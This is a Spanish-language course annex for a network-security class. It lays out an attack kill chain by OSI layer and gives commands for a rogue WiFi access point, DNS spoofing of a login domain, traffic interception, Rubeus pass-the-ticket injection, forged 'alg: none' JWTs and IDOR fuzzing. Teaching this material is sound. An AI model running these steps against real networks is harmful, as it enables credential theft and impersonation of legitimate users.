

GUÍA METODOLÓGICA Y NARRATIVA TÉCNICA DEL RECORRIDO DE ATAQUE (KILL CHAIN) - V2

*Manual de Pruebas de Concepto Operativas Utilizando Herramientas Gratuitas y Open
Source*

Asignatura: Seguridad en Sistemas y Redes (SSR)
Anexo Técnico Avanzado por Capas OSI
Fecha: Junio de 2026

1. Introducción Metodológica

Este anexo técnico ha sido diseñado como un componente puramente documental en formato corporativo (.docx). El objetivo es proporcionar la justificación analítica, el despliegue táctico mediante comandos de consola y el análisis de impacto para cada uno de los eslabones que conforman el vector de ataque específico.

2. Detalle de Ejecución por Capas del Modelo OSI

2.1 Capa 1 y 2: Rogue AP y MITM (WiFi Pumpkin 3 / Hostapd-mana)

Justificación: Establece el control físico y de enlace de datos clonando infraestructuras legítimas.

```
wp3 > set interface wlan0  
wp3 > set ssid "WiFi_Corporativo"  
wp3 > start
```

2.2 Capa 3: DNS Poisoning (DNSChef)

Justificación: Interceptación y alteración selectiva de registros de resolución de nombres de dominio.

```
python3 dnschef.py --fakeip 192.168.1.105 --fakedomains login.megacorp.com --  
interface 0.0.0.0
```

2.3 Capa 4: Abuso de QUIC / HTTP3 (Mitmproxy)

Justificación: Establecimiento de canales encubiertos UDP que evaden sistemas tradicionales de inspección profunda TCP.

```
mitmproxy --mode regular --set http3=true
```

2.4 Capa 5: Pass-the-Ticket (Rubeus)

Justificación: Inyección de artefactos de autenticación Kerberos (TGT/TGS) directamente en la memoria LSASS.

```
Rubeus.exe ptt /ticket:doIE1jCCBNagAwIBBaEDAgEWooIEXTCCBFhggRV...
```

2.5 Capa 6: JWT Validation Flaws (Burp Suite Community + JWT Editor)

Justificación: Manipulación de firmas y claims en estructuras lógicas de presentación de identidad (algoritmo 'none').

```
Header: { "alg": "none", "typ": "JWT" }
```

```
Payload: { "user": "admin", "role": "superuser" }
```

2.6 Capa 7: IDOR y CORS Misconfiguration (OWASP ZAP)

Justificación: Explotación de fallos lógicos en endpoints de APIs e inyección automatizada aprovechando directivas CORS permisivas.

```
GET /api/v1/usuarios/perfil?id=[Fuzz_ID] HTTP/1.1
```

```
Access-Control-Allow-Origin: *
```